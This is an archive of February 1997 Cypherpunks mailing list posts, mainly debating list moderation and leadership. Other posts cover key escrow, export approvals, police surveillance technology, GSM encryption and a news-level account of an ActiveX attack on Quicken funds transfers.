inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.

<(I accept the role hierarchies play in corporations. They can't be built
<with just people like me. They need leaders, controllers, power freaks,
<etc.

oops, a little bit of a glaring logical error there imho. leadership is not
equivalent to a hierarchy imho. admittedly, it often translates that
way. 

 But a virtual community like the Cypherpunks group is not such a
<heirarchical organization, and it needs few rules, leaders, etc. "We don't
<need no steenking leaders.")

yes, if you only want to be an ineffectual debate society with no
significant power whatseover.

<As this relates to Cypherpunks, I have steadfastly refused to consider any
<"management role," so to speak, in how the list is run, the formal
<policies, etc. I'm not saying there has been a call for management (though
<Detweiler used to rail against us for not having a management heirarchy,
<for not having rules and democratic procedures for "making decisions"),
<just that the power vacuum in anarchies such as ours is often an open
<invitation for someone to step in and "provide structure and guidance." I
<resisted any thoughts of doing this, and argued against this sort of thing
<whenever the topic came up in conversation. I chose to lead only by the
<posts I wrote and the ideas I worked on.

heh. perhaps "leadership" involves more than posting. perhaps there
is a way to have "leadership" without hierarchy. perhaps "leadership"
is not equivalent to "management". perhaps sometimes
you win by losing, and lose by winning. perhaps water is so powerful
because it is lower than all that which it flows around.

<Now, of course, the message is being sent that Sandy Sandfort is in some
<sense the de facto leader, being that he determines what traffic goes out
<to the main list and what traffic gets bounced into the flames list. In
<fact, I'll make a prediction: The media will see that he is the chief
<censor and arbiter of worthiness and will increasingly contact him for the
<Official Point of View on various items they are interested in.

timmy, why are you so upset about the media angle? why do you give the
slightest damn what the media thinks? answer: because you want to be
the one they call when they want to know what the cypherpunks think.
you want them to pay attention to the cypherpunks. in short, you would
like to have the glamor of a leader, without any of the responsibility.

<Namely, I realize that I don't want the karmic burdens of power myself,
<preferring to lead only by the example I set and the ideas I generate. This
<is why "market anarchies" (books, music, ideas, all things where "no ruler"
<exists) appeal to me so much.

I think you would be surprise at the realization that "leaders" exist
in those so-called "anarchies"

> And since I don't wish to assume the mantle
<of leadership, 

hmmmmmmmmmmmm, it seems to me that reliquishing that burden might entail
having decisions made that you do not agree with.

<I am resentful and suspicious of people who _do_ step into the
<"power vacuum" to lead and control.
<Now I grant you that Sandy's form of leadership and control is relatively

apparently in your brain, "lead" == "control"

<Yes, I'm seething. Sandy is right about that. I saw a group I helped create
<and spent thousands of hours on, writing articles and developing ideas
<choose--by fiat from the owner of the machine the list was being sent out
<from--to embrace the dark side, the control freak side. In the name of
<"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
<our ideological purity.

hee, hee.

don't worry timmy, you'll feel better later after you've forgotten
that there was some deep lesson in all this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 14:56:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK/KR spin
Message-ID: <199702032256.OAA04944@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Several months back there were discussions on the list regarding renaming
the government's key escrow/recovery proposals (KRAP comes to mind).  I
think we need something that's catchy and simple (perhaps already familiar)
to understand for the semi-litterate citizen units.  I propose we encourage
use of the terms "crippleware" or "crypto crippleware" when refering to the
products limited to their weak crypto and/or key escrow/recovery.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 3 Feb 1997 14:41:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702032241.OAA04512@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson writes:

> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.

The quality of the Cypherpunks list is determined solely by the
amount of signal.  The amount of noise is irrelevant.  

Barring someone continuously mail-bombing the list 24 hours a day
from a T3, it is easy to pick and choose the posts one wishes
to read, and wipe the rest with a single keystroke afterwards. 

I read the list selectively depending upon the amount of free time
I have.  I always try to read serious crypto articles, and all posts
by Tim, Hal, Eric, Duncan, and a few other notables.  If I have 
additional time, I will read other threads of interest, a little
Vulis, and selected Toto, who happens to be a very funny person at
times.  

Now that we have moderation, I can't do this while subscribed to the
main list, and have to live in eternal fear that I am writing for 
an audience of 20 every time I respond to something on the unedited
list.

Foo on that.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Mon, 3 Feb 1997 15:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: now we know why it was called altavista!
Message-ID: <199702032356.PAA06433@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



...

   Cylink (CYLK) announced today that the government has approved export of
   the company's security products containing strong encryption.

   Likewise, Digital Equipment (DEC) has also won approval and plans to
   begin shipments of encryption-enabled networking and system software
   immediately.

   A third company, Trusted Information Systems, effectively had approval
   before January 1 because of its existing key recovery technology.

...

http://www.news.com/News/Item/0,4,7575,00.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 15:58:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: concerning Ben Franklin
Message-ID: <199702032358.PAA06548@toad.com>
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I was reading one of the posts in the thread reguarding sone stolen object
in Miami, the one reffering to the locks of the boxes, and it got me thinking.
Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
and bookburner (according to F451).  Perhaps he should be considered to be a
cypherpunk, not that he necessarily knew anything about crypto, but because
he was interested in many of the same ideals.  It is my belief that were he
alive today, he would be on this list.  If the work of fiction referred to
above, and in another recent post, is accurate in its reference to Franklin,
then he would seem to have had the same solution to net pollution, burn it.
Rather than considering Ben Franklin the first fireman, I would like to
think of him as an early breed of cypherpunk.  By this I consider cypherpunk
to be interested in the subject, and its outcome, and a cryptographer to be
just one faction of cypherpunk.  Merely my opinion.
Does anyone know whether or not Mr. Franklin may have played with code as
well?  All of my sources were assimilated into my understanding of the man
several years ago, and at the time crypto was less in the public eye than it
is now.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 17:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: New X-Ray Imager
Message-ID: <199702040126.RAA08938@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


New X-ray gun trades privacy for safety

Reported by Andy C

Seen in The Nando Times on 13 August 1996

----------------------------------------------------------------------------

The Passive Millimeter Wave Imager can X-ray through clothing to "see" a
concealed weapon, plastic explosives or drugs. A police officer can
surreptitiously aim it into a crowd from as far away as 90 feet.

The new X-ray gun is becoming a symbol for an unlikely alliance of civil
libertarians and gun owners who fear the fight against crime and terrorism
may be waged at the expense of personal freedoms.

"I'm incredibly concerned," said John Henry Hingson, a past president of the
National Association of Criminal Defense Lawyers, meeting here this past
week. "The entire nation could become a victim of illegal searches and
seizures and the law is powerless to protect them from these police abuses."

But in these nervous times following the the crash of TWA Fight 800 and
bombings at the Olympics, Oklahoma City and the World Trade Center, many
Americans are now willing to trade some of their privacy and civil liberties
for greater security.

A poll last week by the Los Angeles Times found that a majority of people --
58 percent -- said they would curtail some civil liberties if it would help
thwart terrorism. Thirteen percent said it would depend on what rights were
at stake. The poll didn't ask people to single out any rights.

The Clinton administration has proposed increased wiretapping and other
anti-terrorism steps, and is doling out research grants for cutting edge
anti-crime technology that once may have been intended for only military
use.

Last year, the National Institute of Justice awarded $2.1 million to three
companies to develop weapon detectors for airports, stores and public
buildings.

Two models are being developed of the Passive Millimeter Wave Imager, a
creation of Hadley, Massachusetts-based Millimetrix Corp.

The larger one, about the size of a shoebox, is mounted on a patrol car and
pointed at the unsuspecting person. The gadget doesn't send out X-rays;
instead, it picks up electromagnetic waves emitted by human flesh.

Anything that stands in the way of those waves -- like a gun -- or anything
that emits weaker waves -- like a bag of cocaine or a plastic explosive --
will show up on a little screen in the patrol car.

Clothes emit no waves. Neither do walls, allowing the device to be used from
even outside a room.

A second model is a smaller, battery-operated version that an officer can
operate by hand, like a radar gun.

Millimetrix hopes to field test the larger model soon at a police agency.

Hingson argues the device runs roughshod over bans against illegal searches
and seizures. The law says police can stop and frisk a person only when an
officer has a "reasonable suspicion" the person is armed or involved in a
crime.

Millimetrix points out that while the imager can see through clothing, it
still leaves people some privacy. The device's display screen, the company
says, "does not reveal intimate anatomical details of the person."

Chip Walker, spokesman for the National Rifle Association, noted that
devices like the imager threaten the legal rights of people in 31 states who
are allowed to carry concealed weapons with proper licenses.

"We certainly support efforts to disarm criminals, but we need to be careful
that we're not painting with too broad a brush here," he said.

Walker said that as troubling as terrorism is, people may be playing into
terrorists' hands by giving up their privacy.

"One of the broader issues is that if we start giving up certain civil
liberties, that essentially means that the terrorists are starting to
accomplish one of their goals," he said.

     Contact email address: acobley@mic.dundee.ac.uk

---------------------

(From a TRW development program description)

The Passive Millimeter Wave sensor detects thermal energy, which is
radiated from objects and reflected from other objects such as the sky in
the 94 Giga Hertz frequency band. The advantage of this frequency is that
there is little attenuation of the energy by water particles in the air
(fog).

The camera operates very much like a television camera except that it
operates at mm-wave frequencies (near 90 GHz) instead of in the visible
spectrum. It has components analogous to a television camera: optics to
focus the image, a readout device to convert the electromagnetic energy
into electrical signals, signal processing electronics to prepare the
signals for display, and display unit to view the scene. The optical system
images the blackbody radiation emanating from the scene on the Focal Plane
Array (FPA), which consists of an array of small antennas, each coupled to
a very small MMIC W-band (90 GHz) direct-detection receiver.

----------------

>From a description of the National Law Enforcement & Corrections Technology
Center/Northeast (NLECTC) at Rome Laboratory (more on that later).

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter
obstacle avoidance, battlefield surveillance, fire control, and missile
seekers. Civilian law enforcement agencies would be able to use the
technology in curtailing terrorist acts and juvenile handgun crimes that
frequently involve the use of concealed weapons, bombs and other contraband
that cannot be detected using currently available technology

   see <http://www.nlectc.org/E144T127/june.htm>

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 17:26:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Your tax dollars at work
Message-ID: <199702040126.RAA08939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


     NIJ Opens Regional Technology Center in Rome:

 Representatives of the U.S. Department of Justice, state and local elected
officials, and Air Force leaders officially opened the National Law
Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome
Laboratory. The Center will work with law en forcement and corrections
organizations from 16 states --- stretching from Maine to Minnesota --- to
determine operational requirem ents and identify, evaluate, develop,
demonstrate and assess new or improved technology applications to meet
those needs. The Center will also provide assessment of law enforcement
products information, standards and testing. The Northeast NLECTC is
co-located with Rome Laboratory within the Griffiss Business and Technology
Park. Rome Laboratory is the Air Force's research and development
laboratory responsible for command, control, communications, computer and
intelligence technologies.

The laboratory was selected as a regional technology center for the Justice
Department's National Institute of Justice (NIJ) in December 1994. It joins
four other regional centers across the country that use existing facilities
and resources to support the NI J's Office of Science and Technology and
law enforcement and corrections organizations.

The Northeast NLECTC will support law enforcement and corrections
activities in the following states: Maine, New Hampshire, Verm ont,
Massachusetts, Connecticut, Rhode Island, New York, New Jersey, Delaware,
Maryland, Pennsylvania, Ohio Michigan, Wisconsin, Io wa and Minnesota. It
will facilitate technical interchange between prospective users and
developers or technology through regional symposia, exhibitions and
workshops. Participants range from the law enforcement and corrections
community to the Department of De fense and the commercial sector.

Each of the five regional centers has a specific technological focus, with
the Northeast NLECTC capitalizing on Rome Laboratory' s more than 40 years
of expertise developing technologies that provided the vital eyes, ears and
voices for the nation's military. The Rome Laboratory Law Enforcement Team
will be working with the Northeast NLECTC to convert a variety of defense
technologies to the benefit of law enforcement and corrections. At the
current time, efforts are directed at transferring technologies in the foll
owing areas:

*** Sensors: concealed weapon detection, Over-the-Horizon radar, wall
penetration surveillance, and passive location, tracking and tagging.

*** Information Technology: image processing, natural language processing,
and identification using optical correlation.

*** Intelligence Exploitation: speech processing, timeline analysis,
automated firearm identification, and forensic sciences.

*** Communications: applications of high-speed networks, multiband
multifunction radios, and rapidly deployable communications.

*** Command and Control: collaborative planning, visualization techniques,
and Joint Automated Booking Station. Over the past four decades,
researchers at Rome Laboratory have developed a vast array of technological
tools for the military to e mploy in our national defense. Within the
shared framework of command, control, communications and intelligence, many
of those tech nologies apply to the domestic law enforcement mission as
well. As one of NLECTC's regional law enforcement technology centers, Ro me
Laboratory will continue to make substantial contributions to the war on
crime by developing technologies that meet the increasi ng needs of law
enforcement.



  Rome Laboratory Signs Law Enforcement Technology Agreement with City of Rome



Representatives of Rome Laboratory and the City of Rome signed a
Cooperative Research and Development Agreement (CRDA) to establ ish a
formal working agreement for the purpose of testing and evaluating military
technologies in a law enforcement setting. The C RDA signing was the first
official action following a ribbon-cutting that opened the National
Institute of Justice's Northeast Regi on National Law Enforcement &
Corrections Technology Center at Rome Laboratory. Signing the agreement
were Col. Ted. F. Bowlds, com mander of Rome Laboratory, and Rome Police
Chief Merino J. Ciccone. During the five-year agreement, Rome Laboratory
will supply a variety of technologies to the Rome Police Department. Police
department officers and officials will then test, evaluate and report back
to Rome Laboratory regarding the effectiveness of the test technologies.
Some of the technical tasks to be performed under t he CRDA are enhancing
the computing capability of the Rome Police Department, including improved
access to law enforcement data bas es and access to the World Wide
Web/Internet, as well as synchronization of 911 Emergency System, computer
and alarm time clocks. Rome Police Department personnel will also gain
access to advanced technologies such as the "sniffer alcohol detection
flashlight," night-vision goggles and hand-held digital assistants.


    German Magazine interested in Rome Laboratory's Law Enforcement Efforts

Dr. Frank Ochmann, a science editor for Germany's Stern Magazine, visited
Rome Laboratory to interview engineers and managers involved in law
enforcement technology. The interview was requested in light of the April
issue of the FBI Law Enforcement Bulletin, which carried an eight-page
article covering a wide variety of C3I technologies developed by the
Laboratory.



    Rome Laboratory Awards Funding to Research  Consortia for Dual-Use
Military and Law Enforcement Applications

ROME, N.Y., June 25, 1996 --- Rome Laboratory has awarded funding totaling
more than $5 million to three research consortia. Combined with investment
by the consortia partners, the total amount of research will approach $17
million. Rome Laboratory will serve as the agent for the Defense Advanced
Research Projects Agency (DARPA) in managing the three research programs
that were instituted under DARPA's Technology Reinvestment Project. The
goal of all three programs is to develop new technologies with applications
to both the military and commercial markets.

The Quick Reaction Spoken Language Translator (QRSLT) Consortium seeks to
develop a product prototype of a hand-held or body-mounted QRSLT that would
allow military personnel in a hostile environment or civilian law
enforcement personnel in an emergency situation to communicate with a
non-English speaking individual using an easily portable, automatic
translation device. The government is contributing $2,374,821 to the
program, with consortium members sharing a cost of $3,632,852. Consortium
members include Language Systems Inc., Woodland, Calif.; Entropic Research
Laboratories Inc., Menlo Park, Calif.; and Eloquent Technology Inc. of
Ithaca, N.Y. Language Systems Incorporated, developed the initial spoken
language translation prototype under the direction and funding of Rome
Laboratory, in support of military requirements. The QRSLT will accept
spoken English input from a military or law enforcement user, translate the
input into Spanish or Arabic, and generate the computer-spoken translation.
The translator will also accept spoken Spanish and Arabic inputs and
translate them into spoken English output. This will be an innovative
advance over currently available "speaking translators," which produce
speech based on typed inputs, which cannot accept spoken input, and which
are not customized for military or law enforcement operations.

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter obstacle avoidance, battlefield
surveillance, fire control, and missile seekers. Civilian law enforcement
agencies would be able to use the technology in curtailing terrorist acts
and juvenile handgun crimes that frequently involve the use of concealed
weapons, bombs and other contraband that cannot be detected using currently
available technology.

The Speaker Identification for Law Enforcement Consortium will be funded
with $3.2 million, evenly divided between the government and consortium
members T-NETIX Inc. of Englewood, Colo., and Dictaphone of Stratford,
Conn. The goal of the consortium is to transfer previously developed
speaker identification technology into commercial and military
applications. With specific emphasis on minimal size, weight, power and
cost, the technology is envisioned to have widespread civilian law
enforcement surveillance applications.

see <http://www.nlectc.org/E144T127/june.htm>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Mon, 3 Feb 1997 14:43:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another ActiveX hole (fwd)
Message-ID: <199702032243.OAA04600@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




-------+..........................................................+-------
 + ^ + :   Ray Arachelian   :    #include <std_disclaimer.h>      :../|\..
  \|/  :  ray@earthweb.com  :.....................................:./\|/\.
<--+-->:  ................  : My oppinions are my own and do not  :.\/|\/.
  /|\  :voice: 212-725-6550 : neccesairly represent those of my   :..\|/..
 + v + :....................: employer.                           :.......
.... http://www.sundernet.com ...personal.email sunder@sundernet.com .....

---------- Forwarded message ----------
Date: Mon, 03 Feb 1997 13:26:44 -0500
From: Andy Breen <abreen@earthweb.com>
To: yak@earthweb.com
Subject: Another ActiveX hole

hmmmmmmmmmmmmm....

------------------
DMK:  An application of covert channels. From RISKS Digest Vol 18, Issue 80.
  
Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN
  
The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos 
Computer Club demonstrated how to electronically transfer funds
without needing a PIN (Personal Identification Number) or TAN
(Transaction Number). 
   Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer 
 order
      which is saved by Quicken in its pile of pending transfer orders. The next
      time the victim sends off the pending transfer orders to the bank (and
      enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
      are executed - money is transferred without the victim noticing!
  
      The newspaper quotes various officials at Microsoft et al expressing
      disbelief/outrage/"we're working on it". We discussed this briefly in 
 class
      looking for a way to avoid the problem. Demanding a TAN for each transfer 
 is
      not a solution, for one, the banks only send you 50 at a time, and many
      small companies pay their bills in bunches. Having to enter a TAN for each
      transaction would be quite time-consuming. Our only solution would be to
      forbid browsers from executing any ActiveX component without express
      authorization, but that rather circumvents part of what ActiveX is 
 intended
      for.
  
      A small consolation: the transfer is trackable, that is, it can be
      determined at the bank to which account the money went. Some banks even
      include this information on the statement, but who checks every entry on
      their statements...
  
      Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str.
10, 
      13353 Berlin GERMANY weberwu@tfh-berlin.de 
 <http://www.tfh-berlin.de/~weberwu/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 17:41:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VOICE STRESS ANALYSIS
Message-ID: <199702040141.RAA09207@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:25 PM 2/2/97 -0800, jim bell wrote:
>Awhile back we were discussing voice-stress analysis; just got this item on 
>the subject; he said it's okay to post it.
>
>
>
>>From: Spectre334@aol.com
>>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>>To: jimbell@pacifier.com
>>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>>Subject: VOICE STRESS ANALYSIS
>>
>>MR. BELL:
>>
>>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>>
>>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
>> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>>
...
>>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>>
>>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>>
>>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>>FAX NUMBER.
>>
>>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
...
Check the Readers Guide for the last couple of years.  I don't have my
Popular Electronics collection handy, but not too long ago they put out the
plans to a smaller unit based around some Cell Phone part.  It operated on a
single frequency as opposed to a varient modulation of the voice.  This
allowed the unit to be much smaller and simpler, sacrificing some of the
accuracy for a reasonable price (PC board, parts and case available for, I
think, less than $100).  The whole unit fit in a case about the size of a
transistor radio and used a couple of bar graph displays (LED) for output.
The whole operating theory is regulary printed with the schematics, and a
parts list and foil diagrams are included for those who want to make the
project from scratch.

While your at it, look up the subliminal mixer from about 1992, I made one
of these and only prevented from using it by the lack of a decent power supply.

The single frequency mentioned above is further explained in the text.

The local library can get a copy of either of these issues, or any others
that catch your interest, for you if you ask really nicely.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 14:56:07 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Filling Power Vacuums
Message-ID: <199702032256.OAA04959@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


vovochka wrote:
> timmy writes:
> 
> <It's about "power grabs."
> <
> <You see, in any anarchic situation, where reliance on self-control and
> <self-filtering is emphasized, there is always a _temptation_ for some to
> <"fill the power vacuum" and grab power.
> 
> ah, so what's the solution?

Maybe there is a way to set up a structure that allows for no power 
to appear. In fact, I know one.

> don't worry timmy, you'll feel better later after you've forgotten
> that there was some deep lesson in all this.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Mon, 3 Feb 1997 17:40:54 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: what's in a name?
Message-ID: <199702040140.RAA09183@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've stayed out of the debate about list moderation so far, but a recent
post from tmcghan@gill-simpson.com reminds me of something I've been
thinking about.  An interesting way to look at what happened is that John
Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
that ownership.  Even though those of us who disagree with the way he has
done so are free to leave and set up our own mailing list, it is costly to
do so, and the problem of central name ownership remains.  List
subscribers have made investments that are specific to the name
"cypherpunks@toad.com", and most of the cost of switching to a new list is
in the new investments they would have to (re)make.  The fact is that a
promise of no censorship is not enough incentive for us to do so. 
 
I suspect that the hierarchical nature of name ownership on the Internet
today will be an important technological barrier for the establishment of
truly anarchic virtual communities.  Unless this problem is solved, the
closest we'll come is pseudo-anarchies that exist with the tolerance of
beneficent dictators.
 
Wei Dai







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Mon, 3 Feb 1997 17:56:06 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040156.RAA09599@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Scott V. McGuire wrote:

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise. 

If I wasn't clear, I'm sorry.  I think the quality of content
and the degree of civility have improved.  My extreme example was
the increase in polite, on-topic posts from Dimitri, but are 
others.  That's the sort of improvement to which I was referring.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 17:56:45 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040156.RAA09627@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:48 PM 2/3/97 GMT, Adam Back wrote:
>
>Lucky Green <shamrock@netcom.com> writes:
>> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
>> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
>> cause. Let's kill the list. Once and for all. Let the hard core crypto go
>> to Coderpunks, the politics to Cryptography, and the garbage into the void.
>
>What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
>Where do they go?

I have been thinking about this question. I don't really have an answer
other than that the more recent leaks posted to this list drew zero
response. How many of you remember the anonymous message posted to this
list revealing that Skipjack is an elliptic curve cipher? [One of the most
respected names in cryptography confirmed this to me in private
conversation. No, the person was not privy to the secret specs. The person
didn't need to be. :-]

If nobody cares about the leaks, why do we need to provide a forum for
them? Besides, there are other fora that could be used. sci.crypt or
Coderpunks are both good places to post "found" code.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Meredith <meredith@ecid.cig.mot.com>
Date: Mon, 3 Feb 1997 12:11:41 -0800 (PST)
To: Greg Rose <cryptography@c2.net
Subject: Re: PCS Encryption?
Message-ID: <199702032011.MAA01060@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Rose wrote:
>
> The three different digital standards in North America are TDMA,
> CDMA, and GSM (in NY and DC only AFAIK).

GSM is also a Time Division Multiple Access (TDMA) system. In it's 
original form it uses specrum around 900 MHz, which I believe not to be 
available in the US. Shame really, I can roam with my GSM phone over 
pretty much the rest of the planet ... except the US.

Anyway, there are two higher frequency derivatives, PCS1800 & PCS1900, 
which have been deployed in the US. I'm not involved directly in the US 
market so I'm not sure where. I assume however that these are the 
systems to which Greg refers.

> Newer analog phones use at least some of this, but I don't know much
> about them. I'll ignore GSM.
              ^^^^^^^^^^^^^^^
Aww shame ;)

> The conclusion is that neither way of doing it is truly
> cryptographically strong, but both are a lot better than
> listening to Princess Di call Newt "Squidgy" on a Radio Shack
> scanner.

GSM uses the A5 algorithm which *is* cryptographically strong, but is 
unfortunately considered to be top secret stuff. If, however, you were 
to pick up a copy of "Applied Cryptography, 2nd Edition" by Bruce 
Schneier you may find something of interest.

I hope that you'll work out from my .sig why I can't say much more.

Hope this helps

Andy M

-- 
___________________________________________________________________

Andrew Meredith
Senior Systems Engineer        Tel:              +44(0) 1793 565377
Network Engineering Tools Grp  Fax:              +44(0) 1793 565161
GSM Products Division         Page:              +44(0)  839 421153 
Motorola                      SMTP:       meredith@ecid.cig.mot.com
16, Euroway, Blagrove         X400:           QSWI016@email.mot.com
Swindon, SN5 8YQ, UK           SMS:   44860608008@sms.telco.mot.com
___________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 19:25:55 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Govt & cyberspace
Message-ID: <199702040325.TAA12048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[snip]
>"tech envy"-- what impact is this going to have on our
>government? it's becoming a huge issue. it may be a
>really great opportunity for a populist movement to
>truly reform the government in the process of upgrading
>their computers.

Even better, this is an opportunity to choke off all, or certainly
increased, funding in order to hasten its collapse.

>I suspect that the "groupware" technology
>that is just getting started will have major influence
>in these areas. as private companies find increasingly
>sophisticated ways of managing themselves, the obvious
>question will arise, "why can't we have an efficient govt
>when our private industries are"? the answer is, we
>can!!

Don't improve it, remove it!

>
>I've written about "electronic democracy" repeatedly. many
>people object to the idea. but when it is phrased in terms
>of groupware, it becomes more palatable. imagine a small
>company humming along with its groupware application that
